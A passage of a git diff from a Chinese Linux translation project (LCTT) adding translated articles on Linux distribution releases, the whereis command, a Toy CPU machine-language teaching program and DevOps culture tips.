+所以,这就是关于这个版本的总结。请继续关注几天后对这个版本的官方点评。如果有兴趣,你可以在这里阅读之前的版本(36)的评论。 + +> **[Ultramarine Linux:带有 Budgie、Cutefish 和 Pantheon 桌面的终极 Fedora 特色版][8]** + +### 下载和升级 + +由于没有升级路径,建议你对该版本进行全新安装。你可以在下面下载各个桌面环境的 ISO 文件。 + +> **[下载 Ultramarine Linux 37][9]** + +参考自:[发布公告][10]。 + +-------------------------------------------------------------------------------- + +via: https://debugpointnews.com/ultramarine-linux-37-release/ + +作者:[arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://debugpointnews.com/author/dpicubegmail-com/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/wp-content/uploads/2023/01/ultra37head.jpg +[2]: https://twitter.com/UltramarineProj/status/1579991853478182914 +[3]: https://terra.fyralabs.com/ +[4]: https://www.debugpoint.com/enable-rpm-fusion-fedora-rhel-centos/ +[5]: https://debugpointnews.com/wp-content/uploads/2023/01/Ultramarine-Linux-37-with-unique-Pop-OS-style-KDE-Plasma-Theme.jpg +[6]: https://www.debugpoint.com/cutefish-development-restarts/ +[7]: https://debugpointnews.com/fedora-37-release-accouncement/ +[8]: https://www.debugpoint.com/ultramarine-linux-36/ +[9]: https://repos.fyralabs.com/isos/ultramarine/37/ +[10]: https://github.com/Ultramarine-Linux/build-scripts/releases/tag/37-1.0 diff --git a/published/202301/20230103.3 ⭐️ Whereis Command in Linux and BSD with Examples.md b/published/202301/20230103.3 ⭐️ Whereis Command in Linux and BSD with Examples.md new file mode 100644 index 0000000000..f4c1cb482d --- /dev/null +++ b/published/202301/20230103.3 ⭐️ Whereis Command in Linux and BSD with Examples.md @@ -0,0 +1,147 @@ +[#]: subject: "Whereis Command in Linux and BSD with Examples" +[#]: via: "https://www.debugpoint.com/whereis-command-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15446-1.html" + +whereis 命令的解释与示例 +====== + +> 这是一份关于如何理解 Linux 和 BSD 中 `whereis` 命令的初学者指南,还包括几个例子。 + +![][1] + +这篇文章是 [Linux 命令][2] 学习系列的一部分。 + +### whereis 命令 + +`whereis` 命令是一个命令行程序,可以帮助你找出任何二进制可执行文件、源文件或手册页的路径或位置。 + +在告诉你如何使用 `whereis` 命令之前,让我们先看看其语法。 + +### 语法 + +以下是 whereis 命令的语法: + +``` +whereis [OPTIONS] FILE_NAME +``` + +`whereis` 命令的参数是你要搜索的程序名或文件名。该参数是必须的。 + +默认情况下,它在环境变量(如 `HOME`、`USER`、`SHELL` 等)中定义的路径中搜索程序。 + +让我们看下一些例子。 + +### Linux 和 BSD 中 whereis 命令的例子 + +下面是 `whereis` 命令的一个简单例子,我试图搜索 `firefox`。在下面的输出中,你可以看到包含 `firefox` 文件或可执行文件的路径列表。 + +``` +$ whereis firefox + +firefox: /usr/bin/firefox /usr/lib64/firefox /etc/firefox /usr/share/man/man1/firefox.1.gz +``` + +![Linux 中 whereis 命令的简单例子][3] + +带有选项 `-l` 的命令会显示其搜索的路径列表。比如: + +``` +$ whereis -l + +bin: /usr/bin +bin: /usr/sbin +bin: /usr/lib +bin: /usr/lib64 +bin: /etc +bin: /usr/games +bin: /usr/local/bin +bin: /usr/local/sbin +bin: /usr/local/etc +bin: /usr/local/lib +bin: /usr/local/games +``` + +如果 `whereis` 命令没有找到任何东西,它只显示参数的名称。例如,如果我在 Linux 中搜索 `nano`,它没有安装,它的输出如下: + +``` +$ whereis nano +``` + +``` +nano: +``` + +如果你想搜索更多的参数,你可以随时添加多个参数。例如,下面的命令同时搜索 `bash` 和 `nano`,输出结果是这样的: + +``` +$ whereis bash nano + +bash: /usr/bin/bash /usr/share/man/man1/bash.1.gz /usr/share/info/bash.info.gz +nano: /usr/bin/nano /usr/share/nano /usr/share/man/man1/nano.1.gz /usr/share/info/nano.info.gz +``` + +你也可以使用 `-b` 选项搜索特定的文件类型,比如二进制文件。下面的命令只告诉你 `nano` 的二进制路径。 + +``` +$ whereis -b nano + +nano: /usr/bin/nano /usr/share/nano +``` + +同样,`-s` 选项可以搜索源文件,而 `-m` 选项可以搜索手册页。 + +``` +$ whereis -m nano + +nano: /usr/share/man/man1/nano.1.gz /usr/share/info/nano.info.gz +``` + +你也可以结合上面的选项来进行更广泛的搜索。例如,下面的命令可以搜索 `nano` 和 `firefox` 的二进制、手册页;而对于 `bash`,只搜索手册页。 + +``` +$ whereis -bm nano firefox -m bash + +nano: /usr/bin/nano /usr/share/nano /usr/share/man/man1/nano.1.gz /usr/share/info/nano.info.gz +firefox-m: +bash: /usr/bin/bash /usr/share/man/man1/bash.1.gz /usr/share/info/bash.info.gz +``` + +下面是选项的摘要: + +| 选项 | 描述 | +| :- | :- | +| `-b` | 只搜索二进制文件。| +| `-m` | 只搜索手册页部分。| +| `-s` | 只搜索源码。| +| `-u` | 搜索不寻常的条目。如果一个文件没有所要求的每种类型的条目,就被称为不寻常。因此,`whereis -m -u *` 会查询当前目录中没有文档的那些文件。| +| `-B` | 改变或限制 `whereis` 搜索二进制文件的地方。| +| `-M` | 更改或限制 `whereis` 搜索手册的位置。| +| `-S` | 更改或以其他方式限制 `whereis` 搜索源码的位置。| +| `-f` | 终止上一个目录列表并指示文件名的开始,并且必须在使用任何 `-B`、`-M` 或 `-S` 选项时使用。| + +### 总结 + +我希望这篇文章能够帮助你理解 `whereis` 命令及其基本原理。你也可以阅读 [whereis 手册页][4] 来了解更多。如果你有任何问题,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/whereis-command-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2023/01/whereis-head.jpg +[2]: https://www.debugpoint.com/category/linux-commands +[3]: https://www.debugpoint.com/wp-content/uploads/2023/01/Simple-example-of-whereis-command-in-Linux.jpg +[4]: https://linux.die.net/man/1/whereis \ No newline at end of file diff --git a/published/202301/20230104.0 ⭐️⭐️ Learn to code with my retro computer program.md b/published/202301/20230104.0 ⭐️⭐️ Learn to code with my retro computer program.md new file mode 100644 index 0000000000..e7a5addcd4 --- /dev/null +++ b/published/202301/20230104.0 ⭐️⭐️ Learn to code with my retro computer program.md @@ -0,0 +1,215 @@ +[#]: subject: "Learn to code with my retro computer program" +[#]: via: "https://opensource.com/article/23/1/learn-machine-language-retro-computer" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15461-1.html" + +用复古电脑程序 Toy CPU 学习低级编程 +====== + +![][0] + +> 我写了一个名为 “Toy CPU” 的教育性复古计算机程序,以便我的学生能够学习机器语言。 + +我兼职教授大学课程,包括一个对所有专业开放的一般计算机主题的课程。这是一门入门课程,向学生讲授技术是如何运作的,以消除围绕计算的神秘感。 + +虽然不是计算机科学课程,但这门课的一个部分涉及计算机编程。我通常用非常抽象的术语谈论编程,所以不会让听众听不懂。但是今年,我想让我的学生以 “老派” 的方式做一些需要 “动手” 的编程。同时,我又想保持简单,以便让每个人都能跟上。 + +我喜欢将我的课程结构化,以显示你是如何从 “那里” 到 “这里” 的。理想情况下,我会让我的学生学习如何编写一个简单的程序。然后,我将从这里开始,展示现代编程是如何让开发人员创建更复杂的程序的。我决定尝试一种非常规的方法 —— 教学生学习终极的低级别编程语言:机器语言。 + +### 机器语言编程 + +早期的个人电脑如 Apple II(1977 年)、TRS-80(1977 年)和 IBM PC(1981 年)让用户用键盘输入程序,并在屏幕上显示结果。但计算机并不总是带有屏幕和键盘。 + +Altair 8800 和 IMSAI 8080(均为 1975 年制造)要求用户使用面板上的 “开关和灯” 输入程序。你可以用机器语言输入指令,使用一组开关,机器会点亮 LED 灯以代表每个二进制指令的 1 和 0。 + +![Altair 8800 计算机的图片][1] + +对这些早期机器进行编程,需要了解被称为 “操作码opcode” (操作代码的简称)的机器语言指令,以执行基本操作,如将两个数字相加或将一个值存储到计算机的存储器中。我想向我的学生展示程序员是如何通过开关和灯,手工输入一系列指令和内存地址的。 + +然而,在这门课上,使用实际的 Altair 8800 就有点太复杂了。我需要一些简单的、任何初级水平的学生都能掌握的东西。理想情况下,我希望能找到一个简单的 “业余” 复古计算机,其工作原理与 Altair 8800 相似,但我无法找到一个价格低于 100 美元的合适的 “类似 Altair” 的设备。我找到了几个 “Altair” 软件模拟器,但它们忠实地再现了 Altair 8800 的操作码,这对我的需求来说太过沉重。 + +我决定编写我自己的 “教育” 复古计算机。我称它为 “Toy CPU”。你可以在我的 [GitHub 代码库][2] 上找到它,包括几个可以运行的版本。第一版是一个实验性的原型,运行在 [FreeDOS][3] 上。第二版是一个更新的原型,在 Linux 上用 [ncurses][4] 运行。版本 3 是一个 FreeDOS 程序,在图形模式下运行。 + +### Toy CPU 的编程 + +Toy CPU 是一个非常简单的复古计算机。它只有 256 字节的内存和一个最小化的指令集,其目的是在复制 “开关和灯” 编程模式的同时保持简单化。它的界面模仿 Altair 8800,有一系列 8 个 LED 灯,分别代表计数器(程序的 “行号”)、指令、累积器(用于临时数据的内部存储器)和状态。 + +当你启动 Toy CPU 时,它通过清除内存来模拟 “启动”。当它启动时,它也会在屏幕右下方的状态灯中显示 “INI”(初始化)。“PWR”(电源)灯亮表示 Toy CPU 已被打开。 + +![Toy CPU 的启动屏幕][5] + +当 Toy CPU 准备好让你进入一个程序时,它通过状态灯指示 “INP”(“输入”模式),并让你从程序的计数器 0 开始。Toy CPU 的程序总是从计数器 0 开始。 + +在 “输入” 模式下,用上下方向键显示不同的程序计数器,按回车键编辑当前计数器上的指令。当你进入 “编辑” 模式时,Toy CPU 的状态灯上会显示 “EDT”(“编辑” 模式)。 + +![Toy CPU 编辑屏幕][6] + +Toy CPU 有一张速查表,被 “贴” 在显示屏的前面。它列出了 Toy CPU 可以处理的不同操作码。 + +- `00000000`(`STOP`):停止程序执行。 +- `00000001`(`RIGHT`):将累加器中的位向右移动一个位置。值 `00000010` 变成 `00000001`,`00000001` 变成 `00000000`。 +- `00000010`(`LEFT`):将累加器中的位向左移动一个位置。值 `01000000` 变成 `10000000`,`10000000` 变成 `00000000`。 +- `00001111`(`NOT`):对累加器进行二进制非操作。例如,值 `10001000` 变成 `01110111`。 +- `00010001`(`AND`):对累加器用存储在某一地址的值进行二进制与操作。该地址被存储在下一个计数器中。 +- `00010010`(`OR`):对累积器用存储在某一地址的值进行二进制或运算。 +- `00010011`(`XOR`):对累加器用存储在某一地址的值进行二进制异或运算。 +- `00010100`(`LOAD`):将一个地址的值加载(复制)到累加器中。 +- `00010101`(`STORE`): 存储(复制)累加器中的值到一个地址。 +- `00010110`(`ADD`):将存储在某一地址的数值加入到累加器中。 +- `00010111`(`SUB`):从累积器中减去储存在某一地址的数值。 +- `00011000`(`GOTO`):转到(跳到)一个计数器地址。 +- `00011001`(`IFZERO`):如果累加器为零,转到(跳到)一个计数器地址。 +- `10000000`(`NOP`):空操作,可以安全地忽略。 + +当处于 “编辑” 模式时,使用左右方向键选择操作码中的一个位,然后按空格键在关闭(0)和开启(1)之间翻转数值。当你完成编辑后,按回车键回到 “输入” 模式。 + +![Toy CPU 输入模式屏幕][7] + +### 一个示例程序 + +我想通过输入一个简短的程序来探索 Toy CPU,将两个数值相加,并将结果存储在 Toy CPU 的内存中。实际上,这执行的是算术运算 `A+B=C`。要创建这个程序,你只需要几个操作码: + +- `00010100`(`LOAD`) +- `00010110`(`ADD`) +- `00010101`(`STORE`) +- `00000000`(`STOP`) + +`LOAD`、`ADD` 和 `STORE` 指令需要一个内存地址,这个地址总是在下一个计数器的位置。例如,程序的前两条指令是: + +``` +计数器 0:00010100 +计数器 1:某个内存地址,第一个值 A 存放在那里 +``` + +计数器 0 中的指令是 `LOAD` 操作,计数器 1 中的值是你存储某个值的内存地址。这两条指令一起将内存中的数值复制到 Toy CPU 的累加器中,在那里你可以对该数值进行操作。 + +将一个数字 `A` 装入累加器后,你需要将数值 `B` 加到它上面。你可以用这两条指令来做: + +``` +计数器 2:00010110 +计数器 3:存储第二个值 B 的内存地址 +``` + +假设你把值 `1`(`A`)装入累加器,然后把值 `3`(`B`)加到它上面。现在累加器的值是 `4`。现在你需要用这两条指令把数值 `4` 复制到另一个内存地址(`C`): + +``` +计数器 4:00010101 +计数器 5:一个内存地址(C),我们可以在那里保存新的值 +``` + +把这两个值加在一起后,现在可以用这条指令结束程序: + +``` +计数器 6: 00000000 +``` + +计数器 6 之后的任何指令都可以供程序作为存储内存使用。这意味着你可以用计数器 7 的内存来储存值 `A`,计数器 8 的内存来储存值 `B` ,计数器 9 的内存来储存值 `C`。你需要将这些分别输入到 Toy CPU 中: + +``` +计数器 7:00000001(1) +计数器 8:00000011(3) +计数器 9:00000000(0,以后会被覆盖) +``` + +在弄清了所有指令和 `A`、`B` 和 `C` 的内存位置后,现在可以将完整的程序输入到 Toy CPU 中。这个程序将数值 1 和 3 相加,得到 4: + +``` +计数器 0:00010100 +计数器 1:00000111(7) +计数器 2:00010110 +计数器 3:00001000(8) +计数器 4:00010101 +计数器 5:00001001(9) +计数器 6:00000000 +计数器 7:00000001(1) +计数器 8:00000011(3) +计数器 9:00000000(0,以后会被覆盖) +``` + +要运行程序,在 “输入” 模式下按下 `R` 键。Toy CPU 将在状态灯中显示 “RUN”(“运行” 模式),并从计数器 0 开始执行你的程序。 + +Toy CPU 有一个明显的延迟,所以你可以看到它执行程序中的每一步。随着程序的进行,你应该看到计数器从 `00000000`(0)移动到 `00000110`(6)。在计数器 1 之后,程序从内存位置 7 加载数值 `1`,累积器更新为 `00000001`(1)。在计数器 3 之后,程序将加数值 `3`,并更新累加器显示 `00000100`(4)。累加器将保持这种状态,直到程序在计数器 5 之后将数值存入内存位置 9,然后在计数器 6 结束。 + +![在运行模式下的 Toy CPU][8] + +### 探索机器语言编程 + +你可以使用 Toy CPU 来创建其他程序,并进一步探索机器语言编程。通过用机器语言编写这些程序来测试你的创造力。 + +### 一个在累积器上闪灯的程序 + +你能点亮累加器上的右四位,然后是左四位,然后是所有的位吗?你可以用两种方法之一来写这个程序。 + +一种直接的方法是,从不同的内存地址加载三个数值,像这样: + +``` +计数器 0:LOAD +计数器 1:“右边” +计数器 2:LOAD +计数器 3:“左边” +计数器 4:LOAD +计数器 5:“所有” +计数器 6:STOP +计数器 7:00001111(“右边”) +计数器 8:11110000(“左边”) +计数器 9:11111111(“全部”) +``` + +写这个程序的另一种方法是尝试使用 `NOT` 和 `OR` 二进制操作。这样可以得到一个更小的程序: + +``` +计数器 0:LOAD +计数器 1:“右边” +计数器 2:NOT +计数器 3:OR +计数器 4:“右边” +计数器 5:STOP +计数器 6:00001111(“右边”) +``` + +### 从一个数字开始倒数 + +你可以把 Toy CPU 作为一个倒数计时器。这个程序行使 `IFZERO` 测试,只有当累加器为零时,程序才会跳转到一个新的计数器: + +``` +计数器 0:LOAD +计数器 1:“初始值” +计数器 2:IFZERO(这也是倒计时的“开始”) +计数器 3:“结束” +计数器 4:SUB +计数器 5:“1” +计数器 6:GOTO +计数器 7:“开始” +计数器 8:STOP +计数器 9:00000111(“初始值”) +计数器 10:00000001(“1”) +``` + +Toy CPU 是学习机器语言的一个好方法。我在入门课程中使用了 Toy CPU,学生们说他们发现写第一个程序很困难,但写下一个程序就容易多了。学生们还表示,用这种方式编写程序其实很有趣,他们学到了很多关于计算机实际工作的知识。Toy CPU 既具有教育性,也很有趣味性! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/1/learn-machine-language-retro-computer + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/2022-12/MITS_Altair_8800_Computer_%281975%29.png +[2]: https://github.com/freedosproject/toycpu +[3]: https://opensource.com/downloads/guide-using-freedos +[4]: https://opensource.com/article/21/8/ncurses-linux +[5]: https://opensource.com/sites/default/files/2022-12/toycpu.png +[6]: https://opensource.com/sites/default/files/2022-12/edit0-load.png +[7]: https://opensource.com/sites/default/files/2022-12/input0-load.png +[8]: https://opensource.com/sites/default/files/2022-12/run-3.png +[0]: https://opensource.com/sites/default/files/lead-images/retro_old_unix_computer.png \ No newline at end of file diff --git a/published/202301/20230104.1 ⭐️ Official Fedora Budgie & Sway Spins to Arrive With Fedora 38 Release.md b/published/202301/20230104.1 ⭐️ Official Fedora Budgie & Sway Spins to Arrive With Fedora 38 Release.md new file mode 100644 index 0000000000..83f6605f84 --- /dev/null +++ b/published/202301/20230104.1 ⭐️ Official Fedora Budgie & Sway Spins to Arrive With Fedora 38 Release.md @@ -0,0 +1,68 @@ +[#]: subject: "Official Fedora Budgie & Sway Spins to Arrive With Fedora 38 Release" +[#]: via: "https://news.itsfoss.com/fedora-budgie-sway-official/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15418-1.html" + +Fedora 38 将发布 Budgie 和 Sway 官方定制版 +====== + +> 两款新的 Fedora 定制版将在 Fedora 38 发布时首次亮相。 + +![][1] + +我们期待着它们在 Fedora 37 时出现,但在 Fedora 38 中终于来了! + +早在 2022 年 5 月,Budgie 项目的主要开发者 Joshua Strobl [宣布][2],Budgie 已被提交到 Fedora 中。 + +遗憾的是,在那之后不久,我们并没有看到任何官方 [Fedora 定制版][3] 发布的迹象,尽管它在 [Fedora 37 发布][4] 期间进入了 Fedora 软件库。 + +**但现在有了。** + +随着 Fedora 38 的发布,看起来我们会得到一个 [Budgie][5] 的官方定制版,同时还有一个 [Sway][6] 窗口管理器的定制版。 + +### Fedora Budgie 和 Sway + +在 [最近的一次会议][9] 上,Fedora 工程和指导委员会(FESCo)投票决定将 Budgie 和 Sway 窗口管理器的 Fedora 官方定制版纳入 Fedora 38 的发布中。 + +根据 Budgie 和 Sway 的初步修改建议,我们可以期待很多变化。 + +对于 Budgie: + +- Fedora 38 将提供 Budgie 桌面环境,包含一套核心应用程序,如用于更新/软件包管理的 GNOME “软件”应用、一个文本编辑器、一个网页浏览器和一个终端。 +- 它还将使用 [Materia GTK][10] 和 [Papirus][11] 图标主题,整个系统采用 GTK 主题设计。 +- Budgie 定制版还将采用 lightdm + slick-gtk-greeter,以获得更直观的用户问候体验。 + +对于 Sway 定制版:它旨在提供一个极简体验,只包括默认配置之上的一些元素。 + +预期时间:随着 Fedora 38 的开发在未来几个月内的加快,你可以期待这些定制版在 2023 年 4 月期间出现。当然,会有预装了 Budgie 和 Sway 的单独 ISO 文件。 + +因此,我认为看到 Budgie 与 Fedora 的体验会非常吸引人,特别是当 Budgie 的开发似乎正在发生一些有趣的变化。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fedora-budgie-sway-official/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2023/01/fedora-budgie-sway-spins-arrive.png +[2]: https://www.reddit.com/r/Fedora/comments/uq3gah/budgie_desktop_has_now_been_submitted_for/ +[3]: https://spins.fedoraproject.org +[4]: https://news.itsfoss.com/fedora-37-release/ +[5]: https://blog.buddiesofbudgie.org +[6]: https://swaywm.org +[7]: https://unlocator.com/favicon.ico +[8]: https://unlocator.com/wp-content/uploads/2019/05/unlocatoricon.jpg +[9]: https://lists.fedoraproject.org/archives/list/devel@lists.fedoraproject.org/thread/RNJZUX3ZI34DIX6E4PVDKYQWCOFDQ4UY/ +[10]: https://github.com/nana-4/materia-theme +[11]: https://github.com/PapirusDevelopmentTeam/papirus-icon-theme diff --git a/published/202301/20230105.1 ⭐️⭐️ 6 tips for building an effective DevOps culture.md b/published/202301/20230105.1 ⭐️⭐️ 6 tips for building an effective DevOps culture.md new file mode 100644 index 0000000000..d16f52a06b --- /dev/null +++ b/published/202301/20230105.1 ⭐️⭐️ 6 tips for building an effective DevOps culture.md @@ -0,0 +1,106 @@ +[#]: subject: "6 tips for building an effective DevOps culture" +[#]: via: "https://opensource.com/article/23/1/tips-effective-devops-culture" +[#]: author: "Yauhen Zaremba https://opensource.com/users/yauhen-zaremba" +[#]: collector: "lkxed" +[#]: translator: "lxbwolf" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15460-1.html" + +构建高效的 DevOps 文化的 6 个技巧 +====== + +> 无论你是刚刚开始在你的组织中使用 DevOps,还是仅仅想改善你现有的文化,请考虑这些技巧以及它们与你组织的未来的关系。 + +![][0] + +你为什么要构建 [DevOps][1] 文化?开发团队和运维团队的精简协作有很多好处。效率是首要目标:提高新软件部署的速度,减少等待的时间。培养同事之间的信任可以提升员工的满意度,激发新的创新,并对盈利能力产生积极的影响。 + +[DevOps][2] 是一个很广泛的思想,大家的理解也见仁见智。每个公司对于如何实行 DevOps 也各不相同。这种意见的多样性实际上是一件好事 —— 这么多的观点对于建立更强大的团队是很有用的。本指南将探讨在 DevOps 文化中鼓励同事之间更好地合作的最高技巧。 + +下面每个部分从不同的视角介绍 DevOps 文化,并探讨了将它引入员工队伍的方法。 + +![DevOps includes collaboration, workflow, infosec, and iteration.][3] + +### 流程的持续发展 + +DevOps 文化的这一核心原则使它与许多其他类型的工作场所的风气区别开来。DevOps 哲学说,犯错是有积极意义的,因为这表明你在尝试新的想法。 + +DevOps 文化的核心是不停地创造。实际上,这意味着当测试结果显示事情由于你的改动而变坏时,不要懊恼。我们要认识到,进化的过程不是线性的,通往成功的道路也从来不是一条直线。 + +DevOps 专家 [Gene Kim][4] 主张勇于承担风险和进行实验。鼓励你的团队尝试不寻常的任务,以得到新的领悟。 + +你的组织应该以利润为导向吗?你能允许你的团队尝试一些新东西(非指个人兴趣项目)吗?持续的流程发展意味着对升级目前的方法持开放态度。优秀的销售领导懂得,结果比出勤率更重要,因此,关注团队的工作方式而不是工作量的多少始终是关键。 + +### 随时提供反馈并积极寻求反馈 + +成员之间增加信任是蓬勃发展的 DevOps 文化的另一个关键特征。无论你的员工是在学习如何建立联盟网络联系,还是试图设计他们的下一个 [用户体验][5] 调查,每个人都应该对他们工作的反馈持开放态度。但是,除非你的团队成员尊重彼此的意见,并相信反馈是本着善意的精神提出的,否则这永远不会发生。 + +这种文化听起来可能是很难培养的;事实上,一些公司会比其他公司更努力地实现这一点。诚然,给予和接受反馈的成功很大程度上取决于员工的个性。在招聘过程中,也可以对此进行筛选。 + +在你期望员工随时向同事提供反馈并主动寻求反馈之前,你应该以身作则。高管应该以身作则,公开要求公司成员对其战略决策提出探究性问题,并提供相应的反馈。 + +![DevOps is the intersection of development, quality assurance, and operations][6] + +### 不断改进 + +在同事之间增加对智力信任的基础上,你的团队应该寻找方法来改善其工作。DevOps 的性质意味着软件开发团队将比传统方法更迅速地进行部署。 + +这种开放的改进文化可以对开发和运维以外的部门产生积极的影响。你也可以自己去探索企业还有哪些领域会受到积极的影响。 + +留意培训和提高技能的机会。即使一个培训课程没有广告上说的那么突出,但有机会与行业专家建立联系,并与未来建立联系,这可以提高你的组织内的思想多样性。 + +### 为以后的开发保存当前的想法 + +频繁使用的 [Git][7] 账户应该是你的 DevOps 工具链的一部分。你可以用 Git 作为软件开发和其他相关项目中产生的脚本的共同仓库。Git 作为 “版本控制” 工具而被熟知,Git 允许程序员保存他们工作的迭代、复用或改进其他人的工作。 + +你的目标是能够保留好的想法以供将来使用。某个方法由于某种原因没有成功。然而,那套想法在当时是错误的,并不意味着它在未来永远无法成为有用的东西。 + +由于 DevOps 的整个重点在于生产环境中的软件的端到端所有权,因此节省开发的迭代真正支持这一原则。你希望看到对手头的软件测试项目的持续关注和投入。 + +一个简单的方法是要求开发者在开发者合同和最终项目报告中包含对未来工作的想法。确保技术服务经理知道他们应该要求提供在建设过程中出现的旁门左道的想法的例子。意识到这些小创新的人越多,在需要的时候就越有可能有人记住一个。 + +### 坐在一起(物理上或逻辑上) + +目标是对彼此的工作角色以及它们之间的相互关系有一个共同的理解。你可以通过几个简单的方法实现这一目标,用一句话概括:坐在一起。邀请其他团队参加你们的会议,完整地分享用户反馈报告。一起吃午饭,一起计划虚拟的快乐时光,一般来说,要确保你的同事都在一起。大约 90% 的拥有成熟的 DevOps 协议的团队报告说,他们清楚地了解自己对其他团队的责任,而在不成熟的 DevOps 团队中,只有大约 46% 的工作者清楚地了解自己的责任。 + +虽然与志同道合的人结成小团体,只与被雇来执行与你相同任务的员工在一起是很诱人的,但这对整个企业来说是很糟糕的。无论你喜欢与否,所有的人都是多面手,能够在一系列的情况下贡献自己的独特才能。 + +密切协作的理念是尊重任何人对其周围正在进行的产品或工作流程提出改进建议的能力。如果你与公司内的其他部门保持一定的距离,你将会错过无数次分享智慧想法的机会。毕竟,你往往在交流中学习得最好。 + +### 致力于自动化 + +你应该以提高效率和加速流程的名义,寻求将单调的和重复的任务变为自动化。每个行业都有无聊的 —— 说得直白一点,就是愚蠢的 —— 每天或每周都要进行的工作。 + +无论是手工将数据从一页复制到另一页,还是手工打出音频记录,每个级别的工作人员都应该坚持让机器在可能的情况下承担这些负担。现实是自动化技术每年都在进步,操作流程也应该如此。[自动化测试][8] 对 DevOps 非常关键,它是 CALMS 框架的第二个原则(其中的 “C” 代表 “文化”)。 + +你怎样才能实现这一点?邀请员工公开表达他们认为工作的哪些方面可以自动化,然后 —— 这里是关键的部分 —— 支持实现自动化所需的设施。这可能意味着每年花 600 美元订阅一个软件程序、一套完整的企业应用现代化解决方案,或开发人员用两天时间来建立一个在内部使用新工具。 + +无论哪种方式,你都应该评估自动化的好处,考虑你可以为每个人节省多少时间。DevOps 的统计数据不断表明,现代公司通过整合这些有益的原则,年复一年地得到了很大的改善。 + +### 探索成功的新工作方式 + +文化转变不会在一夜之间发生。不过,你越早开始,就越早看到结果。根据我的经验,当变化真正对以前进行了改进时,人们会接受它。DevOps 为这种改进提供了一个框架。无论你是刚刚在你的组织中开始使用 DevOps,还是仅仅想改善你现有的文化,请考虑以上几点以及它们与你组织的未来的关系。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/1/tips-effective-devops-culture + +作者:[Yauhen Zaremba][a] +选题:[lkxed][b] +译者:[lxbwolf](https://github.com/lxbwolf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/yauhen-zaremba +[b]: https://github.com/lkxed +[1]: https://opensource.com/resources/devops +[2]: https://opensource.com/article/22/2/devops-documentation-maturity +[3]: https://opensource.com/sites/default/files/2022-12/devop.png +[4]: https://enterprisersproject.com/user/gene-kim +[5]: https://opensource.com/article/22/7/awesome-ux-cli-application +[6]: https://opensource.com/sites/default/files/2022-12/devop-venn.png +[7]: https://opensource.com/article/22/11/git-concepts +[8]: https://opensource.com/article/20/7/open-source-test-automation-frameworks +[0]: https://opensource.com/sites/default/files/lead-images/team_dev_email_chat_video_work_wfm_desk_520.png \ No newline at end of file diff --git a/published/202301/20230105.2 ⭐️ Nitrux 2.6.0 Takes Bold Steps Drops apt, Adds Flathub and Pipewire.md b/published/202301/20230105.2 ⭐️ Nitrux 2.6.0 Takes Bold Steps Drops apt, Adds Flathub and Pipewire.md new file mode 100644 index 0000000000..97aa2ad8ee --- /dev/null +++ b/published/202301/20230105.2 ⭐️ Nitrux 2.6.0 Takes Bold Steps Drops apt, Adds Flathub and Pipewire.md @@ -0,0 +1,83 @@ +[#]: subject: "Nitrux 2.6.0 Takes Bold Steps: Drops apt, Adds Flathub and Pipewire" +[#]: via: "https://debugpointnews.com/nitrux-2-6-0-release/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15420-1.html" + +Nitrux 2.6.0 大胆抛弃 apt +====== + +![][1] + +> Nitrux 2.6.0 带有 Flathub、默认支持的 Pipewire、最新内核和 KDE 框架。 + +![Nitrux 2.6.0 Desktop][2] + +[Nitrux Linux][3] 是基于 Debian 的,它带有一个名为 NX 桌面的修改版的 KDE Plasma 桌面。这个独特的 Linux 发行版带来了一套自己的建立在 Maui kit 和 Qt 之上的 Nitrux 应用程序。Nitrux 是无 systemd 的,使用 OpenRC 作为启动系统。所有这些独特的功能和令人惊叹的外观,使它成为当今最好的 Linux 发行版之一。 + +Nitrux 2.6.0 被提升为一个主要版本,因为它对 12 月发布的 2.5.1 版本进行了关键的更新。 + +### Nitrux 2.6.0 的新内容 + +这个版本的一个主要重点是在 SDDM 显示管理器中引入 Plasma 